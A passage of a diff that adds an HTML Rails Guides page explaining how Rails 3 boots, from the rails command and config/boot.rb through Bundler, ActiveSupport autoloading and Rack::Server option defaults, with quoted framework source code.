+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>The Rails Initialization Process</h2>
+<p>This guide explains how the initialization process in Rails works as of Rails 3.</p>
+<ul>
+	<li>Using <tt>rails server</tt></li>
+	<li>Using Passenger</li>
+</ul>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#launch">Launch!</a></li><li><a href="#passenger">Passenger</a></li><li><a href="#_config-boot-rb_"><em>config/boot.rb</em></a></li><li><a href="#bundled-rails-3-x">Bundled Rails (3.x)</a></li><li><a href="#requiring-rails">Requiring Rails</a><ul><li><a href="#require-active_support"><tt>require 'active_support'</tt></a></li> <li><a href="#lazy-hooks">Lazy Hooks</a></li> <li><a href="#require-active_support-cont-d"><tt>require 'active_support'</tt> cont&#8217;d.</a></li> <li><a href="#require-action_dispatch"><tt>require 'action_dispatch'</tt></a></li> <li><a href="#require-rails-commands-server"><tt>require "rails/commands/server"</tt></a></li> <li><a href="#require-rails-commands"><tt>require "rails/commands"</tt></a></li> <li><a href="#require-app_path"><tt>require APP_PATH</tt></a></li> <li><a href="#require-rails-all"><tt>require "rails/all"</tt></a></li> <li><a href="#require-rails"><tt>require 'rails'</tt></a></li> <li><a href="#require-active_support-core_ext-kernel-reporting"><tt>require 'active_support/core_ext/kernel/reporting'</tt></a></li> <li><a href="#require-active_support-core_ext-logger"><tt>require 'active_support/core_ext/logger'</tt></a></li> <li><a href="#require-rails-application"><tt>require 'rails/application'</tt></a></li> <li><a href="#require-rails-railties_path"><tt>require 'rails/railties_path'</tt></a></li> <li><a href="#require-rails-plugin"><tt>require 'rails/plugin'</tt></a></li> <li><a href="#require-rails-engine"><tt>require 'rails/engine'</tt></a></li> <li><a href="#require-rails-railtie"><tt>require 'rails/railtie'</tt></a></li> <li><a href="#require-rails-initializable"><tt>require 'rails/initializable'</tt></a></li> <li><a href="#require-rails-configuration"><tt>require 'rails/configuration'</tt></a></li> <li><a href="#require-active_support-ordered_options"><tt>require 'active_support/ordered_options'</tt></a></li> <li><a href="#require-rails-paths"><tt>require 'rails/paths'</tt></a></li> <li><a href="#require-rails-rack"><tt>require 'rails/rack'</tt></a></li> <li><a href="#require-rails-version"><tt>require 'rails/version'</tt></a></li> <li><a href="#require-rails-deprecation"><tt>require 'rails/deprecation'</tt></a></li> <li><a href="#require-rails-log_subscriber"><tt>require 'rails/log_subscriber'</tt></a></li> <li><a href="#require-rails-ruby_version_check"><tt>require 'rails/ruby_version_check'</tt></a></li> <li><a href="#require-activesupport-railtie"><tt>require 'activesupport/railtie'</tt></a></li> <li><a href="#require-action_dispatch-railtie"><tt>require 'action_dispatch/railtie'</tt></a></li> <li><a href="#return-to-_rails-all-rb_">Return to <em>rails/all.rb</em></a></li> <li><a href="#activesupport-railtie">ActiveSupport Railtie</a></li> <li><a href="#active-record-railtie">Active Record Railtie</a></li> <li><a href="#active-model-railtie">Active Model Railtie</a></li> <li><a href="#action-controller-railtie">Action Controller Railtie</a></li> <li><a href="#action-view-railtie">Action View Railtie</a></li> <li><a href="#action-mailer-railtie">Action Mailer Railtie</a></li> <li><a href="#active-resource-railtie">Active Resource Railtie</a></li> <li><a href="#actiondispatch-railtie">ActionDispatch Railtie</a></li></ul></li><li><a href="#return-to-_config-application-rb_">Return to <em>config/application.rb</em></a></li><li><a href="#return-to-rails">Return to Rails</a></li><li><a href="#firing-it-up">Firing it up!</a></li><li><a href="#racking-it-up">Racking it up!</a></li><li><a href="#_config-environment-rb_"><em>config/environment.rb</em></a></li><li><a href="#rails-initialization-process">Rails Initialization Process</a></li><li><a href="#rails-application"><tt>Rails::Application</tt></a></li><li><a href="#your-application-s-configuration">Your Application&#8217;s Configuration</a></li><li><a href="#rails-configuration-shared"><tt>Rails::Configuration::Shared</tt></a></li><li><a href="#application-configured">Application Configured!</a></li><li><a href="#initialization-begins">Initialization begins</a></li><li><a href="#run_initializers"><tt>run_initializers</tt></a></li><li><a href="#bootstrap-initializers"><tt>Bootstrap</tt> initializers</a></li><li><a href="#railties-initializers">Railties Initializers</a></li><li><a href="#engine-initializers">Engine Initializers</a></li><li><a href="#finisher-initializers">Finisher Initializers</a></li><li><a href="#running-the-initializers">Running the Initializers</a></li><li><a href="#bootstrap-initializers">Bootstrap Initializers</a><ul><li><a href="#load_environment_config"><tt>load_environment_config</tt></a></li> <li><a href="#load_all_active_support"><tt>load_all_active_support</tt></a></li> <li><a href="#preload_frameworks"><tt>preload_frameworks</tt></a></li> <li><a href="#active-support-initializers">Active Support Initializers</a></li> <li><a href="#rails-engine-new"><tt>Rails::Engine.new</tt></a></li> <li><a href="#rails-application-require_environment"><tt>Rails::Application#require_environment</tt></a></li> <li><a href="#rails-application-config"><tt>Rails::Application.config</tt></a></li> <li><a href="#rails-plugin-configuration-default"><tt>Rails::Plugin::Configuration.default</tt></a></li> <li><a href="#rails-railtie-configuration"><tt>Rails::Railtie::Configuration</tt></a></li> <li><a href="#rails-application-configuration-new"><tt>Rails::Application::Configuration.new</tt></a></li> <li><a href="#default_middleware_stack"><tt>default_middleware_stack</tt></a></li> <li><a href="#actiondispatch-middlewarestack-new"><tt>ActionDispatch::MiddlewareStack.new</tt></a></li> <li><a href="#actiondispatch-middlewarestack-use"><tt>ActionDispatch::MiddlewareStack.use</tt></a></li> <li><a href="#actioncontroller-middleware-new"><tt>ActionController::Middleware.new</tt></a></li> <li><a href="#actioncontroller-metal-initialize"><tt>ActionController::Metal.initialize</tt></a></li> <li><a href="#abstractcontroller-base-initialize"><tt>AbstractController::Base.initialize</tt></a></li> <li><a href="#back-to-rails-application-configuration-new">Back to <tt>Rails::Application::Configuration.new</tt></a></li> <li><a href="#back-to-rails-application-require_environment">Back to <tt>Rails::Application#require_environment</tt></a></li> <li><a href="#_config-environments-development-rb_"><em>config/environments/development.rb</em></a></li></ul></li><li><a href="#serving-a-request">Serving a Request</a><ul><li><a href="#_rails-server_"><em>rails server</em></a></li></ul></li><li><a href="#cruft">Cruft!</a></li><li><a href="#rails-paths"><tt>Rails::Paths</tt></a></li><li><a href="#appendix-a">Appendix A</a></li><li><a href="#common-includes">Common Includes</a><ul><li><a href="#require-active_support-inflector"><tt>require 'active_support/inflector'</tt></a></li> <li><a href="#require-active_support-core_ext-module-delegation"><tt>require 'active_support/core_ext/module/delegation'</tt></a></li> <li><a href="#require-active_support-core_ext-class-attribute_accessors"><tt>require 'active_support/core_ext/class/attribute_accessors'</tt></a></li> <li><a href="#require-active_support-core_ext-module-attr_internal"><tt>require 'active_support/core_ext/module/attr_internal</tt></a></li> <li><a href="#require-active_support-ruby-shim"><tt>require 'active_support/ruby/shim'</tt></a></li></ul></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <p>This guide first describes the process of <tt>rails server</tt> then explains the Passenger + Rack method, before delving into the common initialize pattern these two go through.</p>
+<h3 id="launch">1 Launch!</h3>
+<p>As of Rails 3, <tt>script/server</tt> has become <tt>rails server</tt>. This was done to centralize all rails related commands to one common file.</p>
+<p>The actual <tt>rails</tt> command is kept in <em>railties/bin/rails</em> and goes like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'rbconfig'
+
+  module Rails
+    module ScriptRailsLoader
+      RUBY = File.join(*RbConfig::CONFIG.values_at(&quot;bindir&quot;, &quot;ruby_install_name&quot;)) + RbConfig::CONFIG[&quot;EXEEXT&quot;]
+      SCRIPT_RAILS = File.join('script', 'rails')
+
+      def self.exec_script_rails!
+        cwd = Dir.pwd
+        exec RUBY, SCRIPT_RAILS, *ARGV if File.exists?(SCRIPT_RAILS)
+        Dir.chdir(&quot;..&quot;) do
+          # Recurse in a chdir block: if the search fails we want to be sure
+          # the application is generated in the original working directory.
+          exec_script_rails! unless cwd == Dir.pwd
+        end
+      rescue SystemCallError
+        # could not chdir, no problem just return
+      end
+    end
+  end
+
+  Rails::ScriptRailsLoader.exec_script_rails!
+
+  railties_path = File.expand_path('../../lib', __FILE__)
+  $:.unshift(railties_path) if File.directory?(railties_path) &amp;&amp; !$:.include?(railties_path)
+
+  require 'rails/ruby_version_check'
+  Signal.trap(&quot;INT&quot;) { puts; exit }
+
+  require 'rails/commands/application'
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>Rails::ScriptRailsLoader</tt> module here defines two constants: <tt>RUBY</tt> and <tt>SCRIPT_RAILS</tt>. <tt>RUBY</tt> is the full path to your ruby executable, on a Snow Leopard system it&#8217;s <em>/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/bin/ruby_. <tt><span class="caps">SCRIPT</span></em><span class="caps">RAILS</span></tt></notextile> is simply <em>script/rails_. When <tt>exec_script</em>rails</tt></notextile> is invoked, this will attempt to <tt>exec</tt> the <em>rails</em> file in the <em>script</em> directory using the path to your Ruby executable, <tt>RUBY</tt>. If <tt>exec</tt> is invoked, the program will stop at this point. If the <em>script/rails</em> file doesn&#8217;t exist in the current directory, Rails will recurse upwards until it finds it by calling <tt>exec_script_rails</tt> from inside the <tt>Dir.chdir("..")</tt>. This is handy if you&#8217;re currently in one of the sub-directories of the rails application and wish to launch a server or a console.</p>
+<p>If Rails cannot execute <em>script/rails</em> then it will fall back to the standard <tt>rails</tt> command task of generating an application.</p>
+<p>In <tt>script/rails</tt> we see the following:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+#!/usr/bin/env ruby
+  # This command will automatically be run when you run &quot;rails&quot; with Rails 3 gems installed from the root of your application.
+
+  APP_PATH = File.expand_path('../../config/application',  __FILE__)
+  require File.expand_path('../../config/boot',  __FILE__)
+  require 'rails/commands'
+</pre>
+</div>
+</notextile>
+
+<p>This obviously defines a couple of constants to some pretty important files, <em>config/environment.rb</em>, <em>config/boot.rb</em> and <em>config/application.rb</em> all within the context of <tt>__FILE__</tt> which is of course <tt>script/rails</tt> in the root of your application. Then it goes on to <tt>require BOOT_PATH</tt> which leads us onto <em>config/boot.rb</em>.</p>
+<h3 id="passenger">2 Passenger</h3>
+<p>Before we dive into what <em>config/boot.rb</em> encompasses, we&#8217;ll just glimpse at what Passenger does enough to get an understanding of how it requires a Rails application.</p>
+<p>Passenger will require <em>config/environment.rb</em> by way of its <tt>PhusionPassenger::Railz::ApplicationSpawner#preload_application</tt> method. <em>config/environment.rb</em> requires <em>config/application.rb</em> which requires <em>config/boot.rb</em>. That&#8217;s how the Rails boot process begins with Passenger in a nutshell.</p>
+<h3 id="_config-boot-rb_">3 <em>config/boot.rb</em></h3>
+<p><em>config/boot.rb</em> is the first stop for everything for initializing your application. This boot process does quite a bit of work for you and so this section attempts to go in-depth enough to explain what each of the pieces does.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'rubygems'
+
+  # Set up gems listed in the Gemfile.
+  gemfile = File.expand_path('../../Gemfile', __FILE__)
+  begin
+    ENV['BUNDLE_GEMFILE'] = gemfile
+    require 'bundler'
+    Bundler.setup
+  rescue Bundler::GemNotFound =&gt; e
+    STDERR.puts e.message
+    STDERR.puts &quot;Try running `bundle install`.&quot;
+    exit!
+  end if File.exist?(gemfile)
+</pre>
+</div>
+</notextile>
+
+<h3 id="bundled-rails-3-x">4 Bundled Rails (3.x)</h3>
+<p>Rails 3 now uses Bundler and the <span class="caps">README</span> for the project explains it better than I could:</p>
+<p>&gt; &#8220;Bundler is a tool that manages gem dependencies for your ruby application. It takes a gem manifest file and is able to fetch, download, and install the gems and all child dependencies specified in this manifest. It can manage any update to the gem manifest file and update the bundle&#8217;s gems accordingly. It also lets you run any ruby code in context of the bundle&#8217;s gem environment.&#8221;</p>
+<p>Now with Rails 3 we have a Gemfile which defines the basics our application needs to get going:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+source 'http://rubygems.org'
+
+  gem 'rails', '3.0.0'
+
+  # Bundle edge Rails instead:
+  # gem 'rails', :git =&gt; 'git://github.com/rails/rails.git'
+
+  gem 'sqlite3-ruby', :require =&gt; 'sqlite3'
+
+  # Use unicorn as the web server
+  # gem 'unicorn'
+
+  # Deploy with Capistrano
+  # gem 'capistrano'
+
+  # Bundle the extra gems:
+  # gem 'bj'
+  # gem 'nokogiri'
+  # gem 'sqlite3-ruby', :require =&gt; 'sqlite3'
+  # gem 'aws-s3', :require =&gt; 'aws/s3'
+
+  # Bundle gems for certain environments:
+  # gem 'rspec', :group =&gt; :test
+  # group :test do
+  #   gem 'webrat'
+  # end
+</pre>
+</div>
+</notextile>
+
+<p>Here the only two gems we need are <tt>rails</tt> and <tt>sqlite3-ruby</tt>, so it seems. This is until you run <tt>bundle pack</tt>. This command freezes all the gems required by your application into <em>vendor/cache</em>. The gems installed by default are:</p>
+<ul>
+	<li>abstract-1.0.0.gem</li>
+	<li>actionmailer-3.0.0.gem</li>
+	<li>actionpack-3.0.0.gem</li>
+	<li>activemodel-3.0.0.gem</li>
+	<li>activerecord-3.0.0.gem</li>
+	<li>activeresource-3.0.0.gem</li>
+	<li>activesupport-3.0.0.gem</li>
+	<li>arel-0.4.0.gem</li>
+	<li>builder-2.1.2.gem</li>
+	<li>bundler-1.0.0.gem</li>
+	<li>erubis-2.6.6.gem</li>
+	<li>i18n-0.4.1.gem</li>
+	<li>mail-2.2.5.gem</li>
+	<li>memcache-client-1.8.5.gem</li>
+	<li>mime-types-1.16.gem</li>
+	<li>nokogiri-1.4.3.1.gem</li>
+	<li>polyglot-0.3.1.gem</li>
+	<li>rack-1.2.1.gem</li>
+	<li>rack-mount-0.6.12.gem</li>
+	<li>rack-test-0.5.4.gem</li>
+	<li>rails-3.0.0.gem</li>
+	<li>railties-3.0.0.gem</li>
+	<li>rake-0.8.7.gem</li>
+	<li>sqlite3-ruby-1.3.1.gem</li>
+	<li>text-format-1.0.0.gem</li>
+	<li>text-hyphen-1.0.0.gem</li>
+	<li>thor-0.13.7.gem</li>
+	<li>treetop-1.4.8.gem</li>
+	<li>tzinfo-0.3.23.gem</li>
+</ul>
+<p><span class="caps">TODO</span>: Prettify when it becomes more stable.</p>
+<p>I won&#8217;t go into what each of these gems are, as that is really something that needs covering on a case-by-case basis. We will however just dig a little under the surface of Bundler.</p>
+<p>Back in <em>config/boot.rb</em>, we call <tt>Bundler.setup</tt> which will load and parse the <tt>Gemfile</tt> and add the <em>lib</em> directory of the gems mentioned <b>and</b> their dependencies (<b>and</b> their dependencies&#8217; dependencies, and so on) to the <tt>$LOAD_PATH</tt>.</p>
+<h3 id="requiring-rails">5 Requiring Rails</h3>
+<p>After <em>config/boot.rb</em> is loaded, there&#8217;s this <tt>require</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'rails/commands'
+</pre>
+</div>
+</notextile>
+
+<p>In this file, <em>railties/lib/rails/commands.rb</em>, there is a case statement for <tt>ARGV.shift</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+case ARGV.shift
+  ...
+  when 's', 'server'
+    require 'rails/commands/server'
+    # Initialize the server first, so environment options are set
+    server = Rails::Server.new
+    require APP_PATH
+  ...
+  end
+</pre>
+</div>
+</notextile>
+
+<p>We&#8217;re running <tt>rails server</tt> and this means it will make a require out to <em>rails/commands/server</em> (<em>railties/lib/rails/commands/server.rb</em>). Firstly, this file makes a couple of requires of its own:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'fileutils'
+  require 'optparse'
+  require 'action_dispatch'
+</pre>
+</div>
+</notextile>
+
+<p>The first two are Ruby core and this guide does not cover what they do, but <em>action_dispatch</em> (<em>actionpack/lib/action_dispatch.rb</em>) is important. This file firstly make a require to <em>active_support</em> (<em>activesupport/lib/active_support.rb</em>) which defines the <tt>ActiveSupport</tt> module.</p>
+<h4 id="require-active_support">5.1 <tt>require 'active_support'</tt></h4>
+<p><em>activesupport/lib/active_support.rb</em> sets up <tt>module ActiveSupport</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module ActiveSupport
+    class &lt;&lt; self
+      attr_accessor :load_all_hooks
+      def on_load_all(&amp;hook) load_all_hooks &lt;&lt; hook end
+      def load_all!; load_all_hooks.each { |hook| hook.call } end
+    end
+    self.load_all_hooks = []
+
+    on_load_all do
+      [Dependencies, Deprecation, Gzip, MessageVerifier, Multibyte, SecureRandom]
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>This defines two methods on the module itself by using the familiar <tt>class << self</tt> syntax. This allows you to call them as if they were class methods: <tt>ActiveSupport.on_load_all</tt> and <tt>ActiveSupport.load_all!</tt> respectively. The first method simply adds loading hooks to save them up for loading later on when <tt>load_all!</tt> is called. By <tt>call</tt>&#8217;ing the block, the classes will be loaded. (<span class="caps">NOTE</span>: kind of guessing, I feel 55% about this).</p>
+<p>The <tt>on_load_all</tt> method is called later with the <tt>Dependencies</tt>, <tt>Deprecation</tt>, <tt>Gzip</tt>, <tt>MessageVerifier</tt>, <tt>Multibyte</tt> and <tt>SecureRandom</tt>. What each of these modules do will be covered later.</p>
+<p>This file goes on to define some classes that will be automatically loaded using Ruby&#8217;s <tt>autoload</tt> method, but not before including Rails&#8217;s own variant of the <tt>autoload</tt> method from <em>active_support/dependencies/autoload.rb</em>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require &quot;active_support/inflector/methods&quot;
+  require &quot;active_support/lazy_load_hooks&quot;
+
+  module ActiveSupport
+    module Autoload
+      def self.extended(base)
+        base.extend(LazyLoadHooks)
+      end
+
+      @@autoloads = {}
+      @@under_path = nil
+      @@at_path = nil
+      @@eager_autoload = false
+
+      def autoload(const_name, path = @@at_path)
+        full = [self.name, @@under_path, const_name.to_s, path].compact.join(&quot;::&quot;)
+        location = path || Inflector.underscore(full)
+
+        if @@eager_autoload
+          @@autoloads[const_name] = location
+        end
+        super const_name, location
+      end
+
+      ...
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<h4 id="lazy-hooks">5.2 Lazy Hooks</h4>
+<p><tt>ActiveSupport::LazyLoadHooks</tt> is responsible for defining methods used for running hooks that are defined during the initialization process, such as the one defined inside the <tt>active_record.initialize_timezone</tt> initializer:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+initializer &quot;active_record.initialize_timezone&quot; do
+    ActiveSupport.on_load(:active_record) do
+      self.time_zone_aware_attributes = true
+      self.default_timezone = :utc
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>When the initializer runs it invokes method <tt>on_load</tt> for <tt>ActiveRecord</tt> and the block passed to it would be called only when <tt>run_load_hooks</tt> is called.
+When the entirety of <tt>activerecord/lib/active_record/base.rb</tt> has been evaluated then <tt>run_load_hooks</tt> is invoked. The very last line of <tt>activerecord/lib/active_record/base.rb</tt> is:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+ActiveSupport.run_load_hooks(:active_record, ActiveRecord::Base)
+</pre>
+</div>
+</notextile>
+
+<h4 id="require-active_support-cont-d">5.3 <tt>require 'active_support'</tt> cont&#8217;d.</h4>
+<p>This file also uses the method <tt>eager_autoload</tt> also defined in <em>active_support/dependencies/autoload.rb</em>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def eager_autoload
+    old_eager, @@eager_autoload = @@eager_autoload, true
+    yield
+  ensure
+    @@eager_autoload = old_eager
+  end
+</pre>
+</div>
+</notextile>
+
+<p>As you can see for the duration of the <tt>eager_autoload</tt> block the class variable <tt>@@eager_autoload</tt> is set to <tt>true</tt>, which has the consequence of when <tt>autoload</tt> is called that the location of the file for that specific <tt>autoload</tt>&#8216;d constant is added to the <tt>@@autoloads</tt> hash initialized at the beginning of this module declaration. So now that you have part of the context, here&#8217;s the other, the code from <em>activesupport/lib/active_support.rb</em>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require &quot;active_support/dependencies/autoload&quot;
+
+  module ActiveSupport
+    extend ActiveSupport::Autoload
+
+    autoload :DescendantsTracker
+    autoload :FileUpdateChecker
+    autoload :LogSubscriber
+    autoload :Notifications
+
+    # TODO: Narrow this list down
+    eager_autoload do
+      autoload :BacktraceCleaner
+      autoload :Base64
+      autoload :BasicObject
+      autoload :Benchmarkable
+      autoload :BufferedLogger
+      autoload :Cache
+      autoload :Callbacks
+      autoload :Concern
+      autoload :Configurable
+      autoload :Deprecation
+      autoload :Gzip
+      autoload :Inflector
+      autoload :JSON
+      autoload :Memoizable
+      autoload :MessageEncryptor
+      autoload :MessageVerifier
+      autoload :Multibyte
+      autoload :OptionMerger
+      autoload :OrderedHash
+      autoload :OrderedOptions
+      autoload :Rescuable
+      autoload :SecureRandom
+      autoload :StringInquirer
+      autoload :XmlMini
+    end
+
+    autoload :SafeBuffer, &quot;active_support/core_ext/string/output_safety&quot;
+    autoload :TestCase
+  end
+
+  autoload :I18n, &quot;active_support/i18n&quot;
+</pre>
+</div>
+</notextile>
+
+<p>So we know the ones in <tt>eager_autoload</tt> are eagerly loaded and it does this by storing them in an <tt>@@autoloads</tt> hash object and then loading them via <tt>eager_autoload!</tt> which is called via the <tt>preload_frameworks</tt> initializer defined in <em>railties/lib/rails/application/bootstrap.rb</em>.</p>
+<p>The classes and modules that are not <tt>eager_autoload</tt>&#8217;d are automatically loaded as they are references</p>
+<p>Note: What does it means to be autoloaded? An example of this would be calling the <tt>ActiveSupport::TestCase</tt> class which hasn&#8217;t yet been initialized. Because it&#8217;s been specified as an <tt>autoload</tt> Ruby will require the file that it&#8217;s told to. The file it requires is not defined in the <tt>autoload</tt> call here but, as you may have seen, in the <tt>ActiveSupport::Autoload.autoload</tt> definition. So once that file has been required Ruby will try again and then if it still can&#8217;t find it it will throw the all-too-familiar <tt>uninitialized constant</tt> error.</p>
+<h4 id="require-action_dispatch">5.4 <tt>require 'action_dispatch'</tt></h4>
+<p>Back in <em>actionpack/lib/action_dispatch.rb</em>, the next require after <em>active_support</em> is to <em>active_support/dependencies/autoload</em> but this file has already been loaded by <em>activesupport/lib/active_support.rb</em> and so will not be loaded again. The next require is to Rack itself:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'rack'
+</pre>
+</div>
+</notextile>
+
+<p>As mentioned previously, Bundler has added the gems&#8217; <em>lib</em> directories to the load path so this <em>rack</em> file that is referenced lives in the Rack gem: <em>lib/rack.rb</em>. This loads Rack so we can use it later on when we define <tt>Rails::Server</tt> to descend from <tt>Rack::Server</tt>.</p>
+<p>This file then goes on to define the <tt>ActionDispatch</tt> module and it&#8217;s related autoloads:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module Rack
+    autoload :Test, 'rack/test'
+  end
+
+  module ActionDispatch
+    extend ActiveSupport::Autoload
+
+    autoload_under 'http' do
+      autoload :Request
+      autoload :Response
+    end
+
+    autoload_under 'middleware' do
+      autoload :Callbacks
+      autoload :Cascade
+      autoload :Cookies
+      autoload :Flash
+      autoload :Head
+      autoload :ParamsParser
+      autoload :RemoteIp
+      autoload :Rescue
+      autoload :ShowExceptions
+      autoload :Static
+    end
+
+    autoload :MiddlewareStack, 'action_dispatch/middleware/stack'
+    autoload :Routing
+
+    module Http
+      extend ActiveSupport::Autoload
+
+      autoload :Cache
+      autoload :Headers
+      autoload :MimeNegotiation
+      autoload :Parameters
+      autoload :FilterParameters
+      autoload :Upload
+      autoload :UploadedFile, 'action_dispatch/http/upload'
+      autoload :URL
+    end
+
+    module Session
+      autoload :AbstractStore, 'action_dispatch/middleware/session/abstract_store'
+      autoload :CookieStore,   'action_dispatch/middleware/session/cookie_store'
+      autoload :MemCacheStore, 'action_dispatch/middleware/session/mem_cache_store'
+    end
+
+    autoload_under 'testing' do
+      autoload :Assertions
+      autoload :Integration
+      autoload :PerformanceTest
+      autoload :TestProcess
+      autoload :TestRequest
+      autoload :TestResponse
+    end
+  end
+
+  autoload :Mime, 'action_dispatch/http/mime_type'
+</pre>
+</div>
+</notextile>
+
+<h4 id="require-rails-commands-server">5.5 <tt>require "rails/commands/server"</tt></h4>
+<p>Now that Rails has required Action Dispatch and it has required Rack, Rails can now go about defining the <tt>Rails::Server</tt> class:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module Rails
+    class Server &lt; ::Rack::Server
+
+      ...
+
+      def initialize(*)
+        super
+        set_environment
+      end
+
+      ...
+
+      def set_environment
+        ENV[&quot;RAILS_ENV&quot;] ||= options[:environment]
+      end
+      ...
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<h4 id="require-rails-commands">5.6 <tt>require "rails/commands"</tt></h4>
+<p>Back in <em>rails/commands</em> Rails calls <tt>Rails::Server.new</tt> which calls the <tt>initialize</tt> method on the <tt>Rails::Server</tt> class, which calls <tt>super</tt>, meaning it&#8217;s actually calling <tt>Rack::Server#initialize</tt>, with it being defined like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def initialize(options = nil)
+    @options = options
+  end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>options</tt> method like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def options
+    @options ||= parse_options(ARGV)
+  end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>parse_options</tt> method like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def parse_options(args)
+    options = default_options
+
+    # Don't evaluate CGI ISINDEX parameters.
+    # http://hoohoo.ncsa.uiuc.edu/cgi/cl.html
+    args.clear if ENV.include?(&quot;REQUEST_METHOD&quot;)
+
+    options.merge! opt_parser.parse! args
+    options
+  end
+</pre>
+</div>
+</notextile>
+
+<p>And <tt>default_options</tt> like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def default_options
+    {
+      :environment =&gt; &quot;development&quot;,
+      :pid         =&gt; nil,
+      :Port        =&gt; 9292,
+      :Host        =&gt; &quot;0.0.0.0&quot;,
+      :AccessLog   =&gt; [],
+      :config      =&gt; &quot;config.ru&quot;
+    }
+  end
+</pre>
+</div>
+</notextile>
+
+<p>Here it is important to note that the default environment is <em>development_. After <tt>Rack::Server#initialize</tt> has done its thing it returns to <tt>Rails::Server#initialize</tt> which calls <tt>set</em>environment</tt></notextile>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def set_environment
+    ENV[&quot;RAILS_ENV&quot;] ||= options[:environment]
+  end
+</pre>
+</div>
+</notextile>
+
+<p>From the information given we can determine that <tt>ENV["RAILS_ENV"]</tt> will be set to <em>development</em> if no other environment is specified.</p>
+<p>Finally, after <tt>Rails::Server.new</tt> has executed, there is one more require:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require APP_PATH
+</pre>
+</div>
+</notextile>
+
+<p><tt>APP_PATH</tt> was previously defined as <em>config/application.rb</em> in the application&#8217;s root, and so that is where Rails will go next.</p>
+<h4 id="require-app_path">5.7 <tt>require APP_PATH</tt></h4>
+<p>This file is <em>config/application.rb</em> in your application and makes two requires to begin with:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require File.expand_path('../boot', __FILE__)
+  require 'rails/all'
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>../boot</tt> file it references is <tt>config/boot.rb</tt>, which was loaded earlier in the initialization process and so will not be loaded again.</p>
+<p>If you generate the application with the <tt>-O</tt> option this will put a couple of pick-and-choose requirements at the top of your <em>config/application.rb</em> instead:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Pick the frameworks you want:
+  # require &quot;active_record/railtie&quot;
+  require &quot;action_controller/railtie&quot;
+  require &quot;action_mailer/railtie&quot;
+  require &quot;active_resource/railtie&quot;
+  require &quot;rails/test_unit/railtie&quot;
+</pre>
+</div>
+</notextile>
+
+<p>For the purposes of this guide, will will assume only:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'rails/all'
+</pre>
+</div>
+</notextile>
+
+<h4 id="require-rails-all">5.8 <tt>require "rails/all"</tt></h4>
+<p>Now we&#8217;ll dive into the internals of the pre-initialization stage of Rails. The file that is being required is <em>railties/lib/rails/all.rb</em>. The first line in this file is:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'rails'
+</pre>
+</div>
+</notextile>
+
+<h4 id="require-rails">5.9 <tt>require 'rails'</tt></h4>
+<p>This file (<em>railties/lib/rails.rb</em>) requires the very, very basics that Rails needs to get going. I&#8217;m not going to delve into these areas yet, just cover them briefly for now. Later on we will go through the ones that are important to the boot procedure.</p>
+<notextile>
